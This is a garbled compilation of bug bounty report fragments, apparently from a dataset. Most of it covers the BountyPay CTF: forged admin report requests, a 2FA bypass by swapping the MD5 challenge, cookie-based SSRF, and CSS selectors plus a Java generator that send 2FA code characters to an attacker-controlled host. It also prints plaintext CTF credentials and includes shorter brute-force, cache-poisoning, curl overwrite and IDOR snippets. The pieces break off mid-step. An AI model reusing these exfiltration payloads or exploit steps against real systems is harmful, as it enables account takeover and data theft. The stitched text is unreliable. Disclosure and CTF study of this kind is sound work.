report it to the admin:\n\n```\nGET /admin/report?url=Lz90ZW1wbGF0ZVtdPWxvZ2luJnRlbXBsYXRlW109aG9tZSZ0ZW1wbGF0ZVtdPXRpY2tldCZ0aWNrZXRfaWQ9MzU4MiZ1c2VybmFtZT1zYW5kcmEuYWxsaXNvbiN0YWIx HTTP/1.1\nHost: staff.bountypay.h1ctf.com\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0\nAccept: */*\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nX-Requested-With: XMLHttpRequest\nConnection: close\nReferer: https://staff.bountypay.h1ctf.com//?template[]=login&template[]=home&template[]=ticket&ticket_id=3582&username=sandra.allison\nCookie: token=c0lsdUVWbXlwYnp5L1VuMG5qcGdMZnlPTm9iQjhhbzhweEtKaFFCZGhSVHBnMVNDWHlsVkRKclJqcnIwR1B3NVRQRC8rV01aenlqQ2pWU0lGNUlpYkRlOXlZWk1BR0hqTzFPaWQ0bDA0M2xZdXozYld3czZSUG9McFZ4TWlCSGtVR3lDU3FycUZGUjY0QXNHb2lxaC9mWlFkZmNpdWZDVmJVNnNLOHFLT0svRkJSY0MwNTcyMEs4c1lyUzE3UT09\nPragma: no-cache\nCache-Control: no-cache\n```\n\nResponse:\n\n```\nHTTP/1.1 200 OK\nServer: nginx/1.14.0 (Ubuntu)\nDate: Wed, 01 Jun 2020 04:14:38 GMT\nContent-Type: application/json\nConnection: close\nSet-Cookie: token=c0lsdUVWbXlwYnp5L1VuMG5qcGdMZnlPTm9iQjhhbzhweEtKaFFCZGhSVHBnMVNDWHlsVkRKclJqcnIwR1B3NVRQRC8rV01aenlqQ2pWU0lGNUlpYkRlOXlZWk1BR0hqTzFPaWQ0bDA0M2xZdXozYkJqRURhdXczckZGTWlCSGtVR3lDU3FycUZGUjY0QXNHbzMybnJQZFZkYUIwc3ZpVWJ4VCtLWmZhYS83Q0IwTlNncy93aDZrbFlPTzE3UT09; expires=Fri, 03-Jul-2020 04:14:38 GMT; Max-Age=2592000; path=/\nContent-Length: 19\n\n[\"Report received\"]\n```\n\nThe response contained a new cookie with Admin permissions. With those permissions I was able to retrieve the CEO's username and password:\n\n{F853773}\n\n\n# Taking over the CEO's account and making the payments\n\nUsing Marten's credentials I was able to log in to his account. I had to bypass the 2FA the exact same way I did for Brian Oliver at the very beginning. Once I was logged in I checked all the dates for pending transaction. I saw that 1 transaction in May 2020 was waiting to be processed:\n\n{F853795}\n\nI clicked on the *Pay* button, but the payment process was protected by 2FA. This time the 2FA system seemed to be a bit different than the one used for the login process:\n\n{F853781}\n\n{F853782}\n\nI checked the requests in Burp Suite and found something interesting in the POST request that sends the payment challenge to the 2FA app:\n\n```\nPOST /pay/17538771/27cd1393c170e1e97f9507a5351ea1ba HTTP/1.1\nHost: app.bountypay.h1ctf.com\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 73\nOrigin: https://app.bountypay.h1ctf.com\nConnection: close\nReferer: https://app.bountypay.h1ctf.com/pay/17538771/27cd1393c170e1e97f9507a5351ea1ba\nCookie: token=eyJhY2NvdW50X2lkIjoiQWU4aUpMa245eiIsImhhc2giOiIzNjE2ZDZiMmMxNWU1MGMwMjQ4YjIyNzZiNDg0ZGRiMiJ9\nUpgrade-Insecure-Requests: 1\n\napp_style=https%3A%2F%2Fwww.bountypay.h1ctf.com%2Fcss%2Funi_2fa_style.css\n```\n\nI checked the content of the css file that `app_style` parameter was referring to and saw this:\n\n```css\n/**\nTemplate for the UNI 2FA App\n */\n\nbody {\n background-color: #FFFFFF;\n}\n\ndiv.branding {\n height:80px;\n width:80px;\n margin:20px auto 40px auto;\n background-image:url(\"https://www.bountypay.h1ctf.com/images/bountypay.png\");\n background-position:center center;\n background-repeat: no-repeat;\n background-size: cover;\n}\n```\n\nFrom that. I made the following assumptions:\n\n- The 2FA system uses a *UNI 2FA App*\n- It's possible to define the css the app will use when requesting the code\n- The code length is 7 chars max. (I got this information from the HTML in the 2FA page)\n\nI changed the css URL in the request for a URL that points to one of my servers and noticed that the file was actually fetched:\n\n```\nPOST /pay/17538771/27cd1393c170e1e97f9507a5351ea1ba HTTP/1.1\nHost: app.bountypay.h1ctf.com\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 40\nOrigin: https://app.bountypay.h1ctf.com\nConnection: close\nReferer: https://app.bountypay.h1ctf.com/pay/17538771/27cd1393c170e1e97f9507a5351ea1ba\nCookie: token=eyJhY2NvdW50X2lkIjoiQWU4aUpMa245eiIsImhhc2giOiIzNjE2ZDZiMmMxNWU1MGMwMjQ4YjIyNzZiNDg0ZGRiMiJ9\nUpgrade-Insecure-Requests: 1\n\napp_style=https://foo.x.0xcc.ovh/test.css\n```\n\n```\n3.21.98.146 - - [02/Jun/2020:12:38:14 +0000] \"GET /test.css HTTP/2.0\" 200 46102 \"-\" \"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/83.0.4103.61 HeadlessChrome/83.0.4103.61 Safari/537.36\"\n```\n\nAt that point I knew I could try data exfiltration via CSS injection. You can read more about this technique [here](https://medium.com/bugbountywriteup/exfiltration-via-css-injection-4e999f63097d) First I tried with a very simple CSS file, to validate the exfiltration would actually work:\n\n```css\ninput {background-image:url(\"https://foo.x.0xcc.ovh/input.jpg\");}\n```\n\nI re-sent the POST request above and got a callback to my server, awesome! I then generated a CSS with selectors for all printable ASCII chars:\n\n```css\ninput[value^=\"0\"] {background-image:url(\"https://foo.x.0xcc.ovh/0.jpg\");}\ninput[value^=\"1\"] {background-image:url(\"https://foo.x.0xcc.ovh/1.jpg\");}\ninput[value^=\"2\"] {background-image:url(\"https://foo.x.0xcc.ovh/2.jpg\");}\n...\n```\n\nIt still seemed to work, I got callbacks. I tried again with 2 chars selectors:\n\n```css\ninput[value^=\"00\"] {background-image:url(\"https://foo.x.0xcc.ovh/00.jpg\");}\ninput[value^=\"01\"] {background-image:url(\"https://foo.x.0xcc.ovh/01.jpg\");}\ninput[value^=\"02\"] {background-image:url(\"https://foo.x.0xcc.ovh/02.jpg\");}\n...\n```\n\nAnd, nothing! After playing around a bit, I figured out the app must probably use one input field for each character. I generated a CSS file to take this into account:\n\n```css\ninput[value^=\"0\"]:nth-child(1) {background-image:url(\"https://foo.x.0xcc.ovh/1_0.jpg\");}\ninput[value^=\"1\"]:nth-child(1) {background-image:url(\"https://foo.x.0xcc.ovh/1_1.jpg\");}\ninput[value^=\"2\"]:nth-child(1) {background-image:url(\"https://foo.x.0xcc.ovh/1_2.jpg\");}\n...\ninput[value^=\"0\"]:nth-child(2) {background-image:url(\"https://foo.x.0xcc.ovh/2_0.jpg\");}\ninput[value^=\"1\"]:nth-child(2) {background-image:url(\"https://foo.x.0xcc.ovh/2_1.jpg\");}\ninput[value^=\"2\"]:nth-child(2) {background-image:url(\"https://foo.x.0xcc.ovh/2_2.jpg\");}\n...\n...\ninput[value^=\"x\"]:nth-child(7) {background-image:url(\"https://foo.x.0xcc.ovh/7_x.jpg\");}\ninput[value^=\"y\"]:nth-child(7) {background-image:url(\"https://foo.x.0xcc.ovh/7_y.jpg\");}\ninput[value^=\"z\"]:nth-child(7) {background-image:url(\"https://foo.x.0xcc.ovh/7_z.jpg\");}\n```\n\nI re-sent the POST request and bingo!\n\n```\n3.21.98.146 - - [02/Jun/2020:13:19:19 +0000] \"GET /test.css HTTP/2.0\" 200 46102 \"-\" \"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/83.0.4103.61 HeadlessChrome/83.0.4103.61 Safari/537.36\"\n3.21.98.146 - - [02/Jun/2020:13:19:19 +0000] \"GET /1_a.jpg HTTP/2.0\" 404 176 \"https://h1.x.0xcc.ovh/test.css\" \"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/83.0.4103.61 HeadlessChrome/83.0.4103.61 Safari/537.36\"\n3.21.98.146 - - [02/Jun/2020:13:19:19 +0000] \"GET /2_x.jpg HTTP/2.0\" 404 176 \"https://h1.x.0xcc.ovh/test.css\" \"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/83.0.4103.61 HeadlessChrome/83.0.4103.61 Safari/537.36\"\n3.21.98.146 - - [02/Jun/2020:13:19:19 +0000] \"GET /3_9.jpg HTTP/2.0\" 404 176 \"https://h1.x.0xcc.ovh/test.css\" \"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/83.0.4103.61 HeadlessChrome/83.0.4103.61 Safari/537.36\"\n3.21.98.146 - - [02/Jun/2020:13:19:19 +0000] \"GET /4_l.jpg HTTP/2.0\" 404 176 \"https://h1.x.0xcc.ovh/test.css\" \"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/83.0.4103.61 HeadlessChrome/83.0.4103.61 Safari/537.36\"\n3.21.98.146 - - [02/Jun/2020:13:19:19 +0000] \"GET /5_B.jpg HTTP/2.0\" 404 176 \"https://h1.x.0xcc.ovh/test.css\" \"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/83.0.4103.61 HeadlessChrome/83.0.4103.61 Safari/537.36\"\n3.21.98.146 - - [02/Jun/2020:13:19:19 +0000] \"GET /6_C.jpg HTTP/2.0\" 404 176 \"https://h1.x.0xcc.ovh/test.css\" \"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/83.0.4103.61 HeadlessChrome/83.0.4103.61 Safari/537.36\"\n3.21.98.146 - - [02/Jun/2020:13:19:19 +0000] \"GET /7_t.jpg HTTP/2.0\" 404 176 \"https://h1.x.0xcc.ovh/test.css\" \"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/83.0.4103.61 HeadlessChrome/83.0.4103.61 Safari/537.36\"\n```\n\nI then entered the 2FA code `ax9lBCt`, and the payment got processed:\n\n \n\n{F853774}\n\nThe flag: ^FLAG^736c635d8842751b8aafa556154eb9f3$FLAG$\n\n### Impacto\nAll hackers are paid!"

Leaking source code of a logger on `app.bountypay.h1ctf.com` via a `.git` folder pointing to a public GitHub repository and accessing a leftover logfile referenced in the source code that contains Brian Oliver's credentials for `app.bountypay.h1ctf.com`\n2. Bypassing 2FA on `app.bountypay.h1ctf.com` and getting full access to Brian Oliver's user account\n3. URL injection via cookie value on `app.bountypay.h1ctf.com`, enabling an attacker to issue arbitrary API calls on `api.bountypay.h1ctf.com` with Brian Oliver's privileges\n4. Misusing an open redirect on `api.bountypay.h1ctf.com` via cookie injection on `staff.bountypay.h1ctf.com` to download the BountyPay APK\n5. Completing the Android challenges and retrieving an API token for `api.bountypay.h1ctf.com`\n6. Use the token value in the `X-Token` header to access `/api/staff` on `api.bountypay.h1ctf.com` and create Sandra Allison's user account for `staff.bountypay.h1ctf.com` \n6. Access `staff.bountypay.h1ctf.com` and get admin privileges by reporting a manipulated HTML site to the admins, which triggers an \"upgrade to admin\" request for Sandra Allison's account when being visited\n7. Use the password for Marten Mickos displayed in the \"Admin\" tab of `staff.bountypay.h1ctf.com` on `app.bountypay.h1ctf.com` to login as Marten Mickos. Bypass the 2FA that protects the payout of bounties on `app.bountypay.h1ctf.com` by using malicious stylesheets to retrieve the 2FA code and complete the payout process to payout the bounty payments for Marten Mickos\n\n### Passos para Reproduzir\n\n\n### Impacto\n."

This password contains characters like A-Z, a-z and 0-9. We try random characters but without results. When inspecting element, we can see that the following is found:\n\n<input type=\"hidden\" name=\"challenge\" value=\"a829e6865ae4ef4ace5c24b091fa8a91\">, where value corresponds to an MD5 hash corresponding to the 10 character password. We try to decode this hash and get no results.\n\nNow if we consider that the password contains 10 characters that can be A-Z , a-z y 0-9, we create our hash MD5 with the amount of characters requested on the web https://www.md5hashgenerator.com/. We create a string with 1111111111 (can be whatever) \nand the result of our hash is e11170b8cbd2d74102651cb967fa28e5.\n\n{F861668}\n\nWe replace the hash in \"value\" mentioned above and we put ours, as we know what is the string correct we use it as our password for the 2FA managing to make the Bypass.\n\n{F861670}\n\n We entered and we found BountyPay Dashboard, We try to load the transactions corresponding to May 2020, but it gives us the message \"No Transactions To Process\". Well in this part I thought \"now I have to make the payment, but wait, this is not easy hahaha\". We review the transactions of the 12 months and it sends the same message, so we deduce that we do not have the permissions to carry out this operation with the account of brien oliver.\n\n{F861667}\n{F861671}\n\nWe try to use the cookie to be able to change users, but it is not possible to carry out the operation. At this moment I did not know well what I could do to move forward, so I stopped and went to have a coffee to clear my head for a few moments, after several attempts I could not continue or find something that would help me, which is why I started to check other subdomains in search of something to help me continue, use Dirb, Dirsearch, etc.\n\nAfter several hours look at the cookie again and note that it is again a base64 and when sending it to the Decoder in Burp Suite it shows the following information:\n{\"account_id\":\"F8gHiqSdpK\",\"hash\":\"de235bffd23df6995ad4e0930baac1a2\"}.\n\n{F861672}\n{F861673}\n\nHere I couldn't go any further and I was stuck again. I began to review what else I could see within the requests when trying to load the transactions by month and year, I notice that the answer appears:\n{\"url\":\"https:\\/\\/api.bountypay.h1ctf.com\\/api\\/accounts\\/F8gHiqSdpK\\/statements?month=05&year=2020\",\"data\":\"{\\\"description\\\":\\\"Transactions for 2020-05\\\",\\\"transactions\\\":[]}\"}\n\n3- SSRF\n\nIn order to use the SSRF vulnerability we must take the API found in the previous step and use it in our base64 encoded cookie. The information that the cookie gives us currently is:\n{\"account_id\":\"F8gHiqSdpK\",\"hash\":\"de235bffd23df6995ad4e0930baac1a2\"}\n\nSo what we need is to modify this base64, to use the API and to be able to access https://software.bountypay.h1ctf.com, which if we enter directly gives us a 401 Unauthorized \"You do not have permission to access this server from your IP Address\".\n\nFirst if we go directly to the API https://api.bountypay.h1ctf.com we found a redirect in \"REST API\", ok now we will use this redirect to run our SSRF and access the URL that gives us 401.\nHow do we do it? We take the cookie, we modify it, we must go two directories behind and this would look like this:\n {\"account_id\":\"../../redirect?url=https://software.bountypay.h1ctf.com/#\",\"hash\":\"de235bffd23df6995ad4e0930baac1a2\"}\n\nWe replace \"F8gHiqSdpK\" for \"../../redirect?url=https://software.bountypay.h1ctf.com/#\" and this allows us to internally access the URL that 401 Unauthorized gave us. Well now that we can enter we must list directories, of course the aforementioned must be encoded in base64 and put it in the cookie.\n\nBecause testing brute forcing directory one by one and then passing it to base64 to send it, manually is very slow, so we create a Python script to list directories and when we get a 200 response, we will use that directory to pass it to base64 and log into https://software.bountypay.h1ctf.com/uploads/BountyPay.apk to download the application.\n***It looks simple right, believe me it was not.***\nPython Script:\n{F861692}\n{F861693}\n\n4- Harcoded Validation\n\nNow we have our APK for which I use a mobile phone with Android for testing, I install the application and it asks for a user, we enter it but it does nothing more.\nIn this part we must decompile the downloaded apk file and for this I use apktools.\nWe execute \"apktool d BountyPay.apk\" and leaves us a folder where we agree to review our AndroidManifest.xml.\nIn this part what is interesting are the \"intent\", of which we find 3 parts, but ok and now that, how can I execute this ?. Well I found a practical guide at http://www.xgouchet.fr/android/index.php?article42/launch-intents-using-adb and https://stackoverflow.com/questions/22921637/android-intent-data-uri-query-parameter\nIf we understand these guides we can start executing the instructions using adb as follows:\n\nFirst of all we run the application and enter a username and then enter the following commands:\n\n{F861695}\n\nFirst command:\nadb shell am start -a \"android.intent.action.VIEW\" -d \"one://part?start=PartTwoActivity\"\n\n{F861696}\n\nSecond command:\nadb shell am start -a \"android.intent.action.VIEW\" -d \"two://part?two=light\\&switch=on\" \nHere it gives us a code 459a6f79ad9b13cbcb5f692d3cc7a94d and it asks for a \"Header Value\", it appears in the code inside the manifest and is X-Token, we enter it and we reach the third part.\n\n{F861698}\n\nWe enter the following below:\nadb shell am start -a \"android.intent.action.VIEW\" -d \"three://part?three=UGFydFRocmVlQWN0aXZpdHk=\\&switch=b24=\\&header=X-Token\"\nand asks us \"Submit leaked hash\"\n\nUntil now we do not have this value, so we will have to capture the logs with the following command:\nadb -d logcat bounty.pay:I\n\nNow we enter again:\nadb shell am start -a \"android.intent.action.VIEW\" -d \"three://part?three=UGFydFRocmVlQWN0aXZpdHk=\\&switch=b24=\\&header=X-Token\"\n\nWe stop it as soon as the word \"token\" appears on the screen and we enter this Hash on the phone to pass the apk 3 challenge.\nNow we have our token from the X-Token apk: 8e9998ee3137ca9ade8f372739f062c1 and we must see what we can do with this token.\n\n{F861699}\n{F861700}\n\n\n5- Sensitive information disclosure\n\nWe go back to Twitter and check some Hint in Hackerone, but we don't see something relevant, so we go to Twitter BountyPay and we only see that a new person Sandra Allison has entered. If we review Sandra appears indicating \"First Day at BountyPayHQ\" showing her credential where we can view her STF:8FJ3KFISL3\n\n{F861707}\n{F861706}\n\nWhat can we do with her STF:8FJ3KFISL3 ?\n\nPreviously, when using dirsearch to the API, it gave us the following:\n/api/accounts/login\n/api/accounts/signin\n/api/accounts/logon\n/api/staff\n\nSo we started testing the X-Token: 8e9998ee3137ca9ade8f372739f062c1 that we got from the apk by sending requests GET, and gives us the following information:\n[{\"name\":\"Sam Jenkins\",\"staff_id\":\"STF:84DJKEIP38\"},{\"name\":\"Brian Oliver\",\"staff_id\":\"STF:KE624RQ2T9\"}]\n\n{F861709}\n\nWell, the X-Token works, but we still can't move forward. In this part I started to try the method POST and we put staff_id=STF:8FJ3KFISL3 Sandra user and boom gives us an answer:\n{\"description\":\"Staff Member Account Created\",\"username\":\"sandra.allison\",\"password\":\"s%3D8qB8zEpMnc*xsz7Yp5\"}\n\n{F861710}\n\nNow we have created account, user and password of Staff. We test the credentials and enter to https://staff.bountypay.h1ctf.com\n\n{F861712}\n{F861711}\n\n6- Privilege Escalation\n\nAlready within the account of Sandra as Staff we reviewed the page and we found \"Home\", \"Support Tickets\", \"Profile\" y \"Logout\".\nWe entered each of the options but we did not find anything useful to perform any other operation, this was one of the hardest parts of getting through, you will understand why.\n\nWe check the source code of the page, but we did not find anything useful.\n\nWe go to the developer tools in Firefox (es igual en Chrome) and we entered to review the debugger where we found 3 .js files\nThe one that specifically catches our attention is website.js which contains the following:\n\n{F861721}\n\n$('.upgradeToAdmin').click(function () {\n let t = $('input[name=\"username\"]').val();\n $.get('/admin/upgrade?username=' + t, function () {\n alert('User Upgraded to Admin')\n })\n}),\n$('.tab').click(function () {\n return $('.tab').removeClass('active'),\n $(this).addClass('active'),\n $('div.content').addClass('hidden'),\n $('div.content-' + $(this).attr('data-target')).removeClass('hidden'),\n !1\n}),\n$('.sendReport').click(function () {\n $.get('/admin/report?url=' + url, function () {\n alert('Report sent to admin team')\n }),\n $('#myModal').modal('hide')\n}),\ndocument.location.hash.length > 0 && ('#tab1' === document.location.hash && $('.tab1').trigger('click'), '#tab2' === document.location.hash && $('.tab2').trigger('click'), '#tab3' === document.location.hash && $('.tab3').trigger('click'), '#tab4' === document.location.hash && $('.tab4').trigger('click'));\n\nWell, what we see here, first we find that there is a function with which we could escalate privileges to Admin, but how?\n\nLet's keep checking and see that this applies to the \"click\" function, but we still don't know how to use this.\n\nLet's see again, we have a file and a function with which we can escalate privileges, so we dedicate ourselves to find out how to use this and make the administrator give us this privilege.\n\nWhen we review the options that the page gives us at the bottom we can see that it says \"Report This Page\", we click on it and it gives us the option to report now and also the following information:\n\"Pages in the /admin directory will be ignored for security\"\n\n{F861725}\n\nNow we know we can get to /admin but we can't go to a directory below because of page restrictions.\n\nWe perform the \"Report This Page\" operation again and intercept with Burp to check what data or useful information it is sending and we see that in the URL it sends:\nGET /admin/report?url=Lz90ZW1wbGF0ZT1ob21l \n\nAgain we see a base64 crash that contains /?Template=home\n\nWe know that we have to escalate privileges in order to overcome this part, but I still can't see how?\n\nI go back once more to review website.js and try to figure out how to use this function to go from being Staff to Admin.\n\nWe try to URL https://staff.bountypay.h1ctf.com/admin/upgrade?username=8FJ3KFISL3 but it gives us back \"Only admins can perform this\"\n\n{F861726}\n\nOK, if we inspect element we see that the avatar is an \"input\" so we will try to use it to include the functions of the .js file so we will put avatar 3 = tab4 upgradeToAdmin\n\n{F861727}\n\nWe send the request to Burp to see that this field is modified, this is the first step.\n\nNow we must modify the URL and add an \"Array\" to use the function and escalate privileges using and Burp, we do this with the Support Tickets option, where we must practically call several URLs on the same page and we do it with the following URL:\nhttps://staff.bountypay.h1ctf.com/?template[]=login&username=sandra.allison&template[]=ticket&ticket_id=3582#tab4\n\n{F861728}\n\nWe intercept this in Burp Suite because the browser removes us #tab4\n\nSelect \"Report This Page\", the report is sent with our modifications, the page is pasted without loading, so we must return to \"Home\" URL https://staff.bountypay.h1ctf.com\n\n{F861730}\n\nBoom we see the \"Admin\" tab, now we access it and we see the user of marten.mickos and his password h&H5wy2Lggj*kKn4OD&Ype\n\n{F861731}\n\nWe must re-enter the site, but now as admin with the account Marten Mickos in the URL https://staff.bountypay.h1ctf.com\n\n\n7- 2FA Payments Bypass through SSRF\n\nNow in this last part we login to https://staff.bountypay.h1ctf.com with user account marten.mickos and password h&H5wy2Lggj*kKn4OD&Ype\n\n{F861735}\n\nWell, at the first admission, you ask us to enter 2FA again as at the beginning.\n\nIt indicates that a 10-character password is sent to the mobile phone and characters between A-Z, a-z and 0-9\n\nTry modifying as the first 2FA, inspecting element we create an MD5 with the following:\ne11170b8cbd2d74102651cb967fa28e5 = 1111111111\n\n{F861737}\n\nNow we are in the Marten Mickos account, we load the May 2020 transactions, well now it shows us the information and the payment button.\n\n{F861738}\n\nWe select to pay, but again another challenge asks us for another 2FA authentication to make the payment, this time modifying html no longer works.\n\n{F861740}\n\nWe intercept the request to see what information is being sent and we see the following:\napp_style=https://www.bountypay.h1ctf.com/css/uni_2fa_style.css\n\nWe visit this URL to see if it gives us some type of information to overcome this challenge and it only shows us the following:\n\n/**\nTemplate for the UNI 2FA App\n */\n\nbody {\n background-color: #FFFFFF;\n}\n\ndiv.branding {\n height:80px;\n width:80px;\n margin:20px auto 40px auto;\n background-image:url(\"https://www.bountypay.h1ctf.com/images/bountypay.png\");\n background-position:center center;\n background-repeat: no-repeat;\n background-size: cover;\n}\n\nSo now with what we have, we see that in the request a .css file is sent and will look for which is why we will need to create a .css file so that it can be fetched and mounted on our ssl server.\n\nNow we create the following buri.css file\n\nimport java.io.FileWriter; \nimport java.io.IOException;\n\npublic class CssExfiltrator{\n\n String hostname = \"https://u61wqtubaeskyx8lah6eb0705rbhz6.example.com/\"; // https://example.com/\n String cssFile = \"bcobain23.css\"; // uni_2fa_style.css\n\n String characters = \"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_-\";\n \n public void writeFile(StringBuilder css){\n try {\n FileWriter fw = new FileWriter(cssFile);\n fw.write(css.toString());\n fw.close();\n System.out.println(\"Successfully wrote css file\");\n } catch (IOException e) {\n System.out.println(\"An error occurred.\");\n e.printStackTrace();\n }\n }\n\n public void getInputNames(String input){\n StringBuilder css = new StringBuilder();\n for(char s:characters.toCharArray()){\n css.append(\"input[name^='\").append(input).append(s).append(\"'] {background: url('\").append(hostname).append(s).append(\"');}\").append(\"\\n\");\n }\n System.out.println(css.toString());\n writeFile(css);\n }\n\n public void getInputValues(){\n StringBuilder css = new StringBuilder();\n for(int i=1; i<=7; i++){\n for(char s:characters.toCharArray()){\n css.append(\"input[name='code_\").append(i).append(\"'] {background: url('\").append(hostname).append(i).append(\"/\").append(s).append(\"');}\").append(\"\\n\");\n }\n }\n System.out.println(css.toString());\n writeFile(css);\n }\n\n public static void main(String[] args){\n CssExfiltrator cssExf = new CssExfiltrator();\n\n /*\n if(args.length > 0){\n cssExf.getInputNames(args[0]);\n }else{\n cssExf.getInputNames(\"\");\n }\n */\n cssExf.getInputValues();\n }\n}\n\nWe mount it on our server, use burp collaborator and see the following:\n\n{F861736}\n\nWe begin to exfiltrate the 2FA code one by one, in the image we can see that it gives us a number that is the correct position next to the corresponding character\n\n{F861734}\n\nWe obtain the code, place it in an orderly manner and make the payment to the Hackers.\nChallenge Completed.\n\nActually this was hours of suffering and my first participation in CTF, I thank the people who spent time creating this challenge, since I learned many new things.\n\n### Impacto\nAccess control enforces

But if you look to response, you will see a cookie. The password protection feature is cookie-based system.\nIn my survey, if you write the right password, system will set this cookie : `pd-pass_DA0C46C4EAECF2BA=81dc9bdb52d04dc20036dbd8313ed055`\nAnd basically this is `pd-pass_SURVEYID=md5(password)`, it encrypts the right password with MD5 and if you visit the survey page with this cookie, you can see the survey.\nSo, I tried to brute force this cookie with Burp Suite's `Payload Processing` feature. (it encrypts your value with any hash type). And it worked, there is no rate limit when directly accessing to the survey page with password cookie.\n\nActually, I didn't any way to find the survey IDs. But when you go to a survey without password protection, the survey ID will be inside the source code. And if you enable the password protection after that, the survey ID won't be changed.\nSo, attacker can save the survey ID before the survey creator enable the password protection feature.\n\nAlso, the `WordPress.com Shortcode` on `Sharing` page leaks the survey ID too. (but I don't know how it works, maybe this code turns to iframe etc. whne you paste it to any wordpress.com website)\n{F878946}\n\n### Passos para Reproduzir\n1. Go to your survey's `Sharing` page and copy the survey ID from `WordPress.com Shortcode` \n 1. Turn on intercept on Burp Suite and go to your password protected survey.\n 1. And send the GET request to Intruder\n 1. Add `pd-pass_YOURSURVEYIDHERE=test` to cookie and set payload position to `test` value.\n 1.

Set the payload type to `Brute forcer` and you can change the other options like threads etc.\n 1.

I will be doing this with a cache busting technique that doesn't really poison the live site's cache by supplying a bespoke query string value so this should be safe to repeat verbatim.\n\n* First open an HTTPS website, it doesn't matter which website, as long as it trigger browser Cross-Origin Resource Sharing. For my test, I used this [website](https://www.shawarkhan.com/).\n* Open the JavaScript console and execute the following command 5 to 10 times to make sure the cache is poisoned across back end. You can also do this Burp Suite by sending request multiple times.\n\n```javascript\nfetch('https://en.instagram-brand.com/wp-json/').then(res => res.json()).then(json => console.log(json))\n```\n\n* Now, open another HTTPS website, it also doesn't matter which site it is, as long as it's execute the same fetch as above.\n* You should now experience a Cross-Origin Resource Sharing error in your browser console while fetching.\n* What's going on here? because the `wp-json` response is Cross-Origin Resource Sharing aware, it is responding with a` Access-Control-Allow-Origin` header value. Presumably to offer wide support for Cross-Origin Resource Sharing, the origin value in the request is being echoed back. So far, I believe this is standard WordPress` wp-json` behavior. However, WordPress is caching this response and is not keying the cache based on the request origin value, so therefore is serving the poisoned response, and because the other origin is not previous one, Cross-Origin Resource Sharing in the browser blocks the response coming back into the Document Object Model.\n\n### Impacto\nThe impact of this vulnerability depends on how and where a client uses the `wp-json` plugin. If a WordPress customer uses `wp-json` in a context that relies on Cross-Origin Resource Sharing, this technique could deny service to the `wp-json` endpoints in use."

So protection will be bypassed in this case, as it is only writable by the user.\n\nIssue was discovered after review of CVE-2020-8177 description. I was curious how the Content-Disposition feature and prevention of file overwrite worked. While reviewing the code around that feature noted that the existence of the file is checked via being able to read the file. So what happens if the file is not readable, but writable!?!\n\nWhy would a system have a file that is writable only, for sensitive information that must be collected by a particular user, but must not be viewable by that user. Certain logs or audit trails or privacy related files or security related files, might have such restrictions.\n\nAdditionally, and in an extreme example, code as written is susceptible to Race Condition as the file existence check and file write are done with two distinct fopen() calls in the tool_create_output_file() in tool_cb_wrt.c file. Data lose possible if parallel write operations performed on the same file via two curl processes, or even some other process (malicious or not) acting/interfering on the same file.\n\n### Passos para Reproduzir\n1.

Check that file data.txt is still only writable! Permissions have not changed.\n6. Change permissions to add the read permission back (so we can see the content)\n7. View the content of data.txt file, it will be overwritten with server response.\n\n### Impacto\n- An existing local file could be overwritten, either maliciously or accidentally by curl\n- A malicious server would need to send Content-Disposition with filename provided at the same time, as the victim would have to use the -J -O option on the curl command line side, with a file that is non-readable, but writable."

"output": "### Resumo da Vulnerabilidade\nHi team,\nThere is a IDOR when applying to platform.streamlabs.com after loginning.\n\nIf you login to platform.streamlabs.com and click `Create App`. You will see the \"apply form\". And if you submit it, you will see the `user_id` parameter in JSON data of the apply request. (api/v1/store/whitelist). This parameter is vulnerable for IDOR, you can apply to platform as another accounts.\n\nAlso these `user_id`s are sequential, so any attacker can apply this form with a lot of accounts with random values. Attacker can force the victims' apply forms to be rejected.\n\n### Passos para Reproduzir\n1. Sign-up to platform.streamlabs.com with 2 different accounts (Make sure you didn't apply the apply form before.)\n 1. Click `Create App` and turn on the proxy\n 1. Fill in the form and click `Apply`\n 1. Change the `user_id` on the JSON data of the request to your another account's ID.\n 1. Forward the request.\n\n`user_id`'s are sequential, for finding your user_id you can go to https://platform.streamlabs.com/api/v1/s/user/me\n\nIf you see `200 OK` in response, that means you submitted the form as victim.\n\n{F989441}\n\nNow, the victim can't apply the form again. And if you fill the form with random values. Streamlabs will probably reject the victim's form because of random values.\n\n### Impacto\nAny attacker can apply the platform form with a lot of accounts with random values. So attacker can force the victims' apply forms to be rejected.\nI don't know the full impact because I didn't get response for my Platform request yet. Maybe there is more serious impact on this issue but I can't figure it out for now.\n\nThanks,\nBugra"

"input": "",
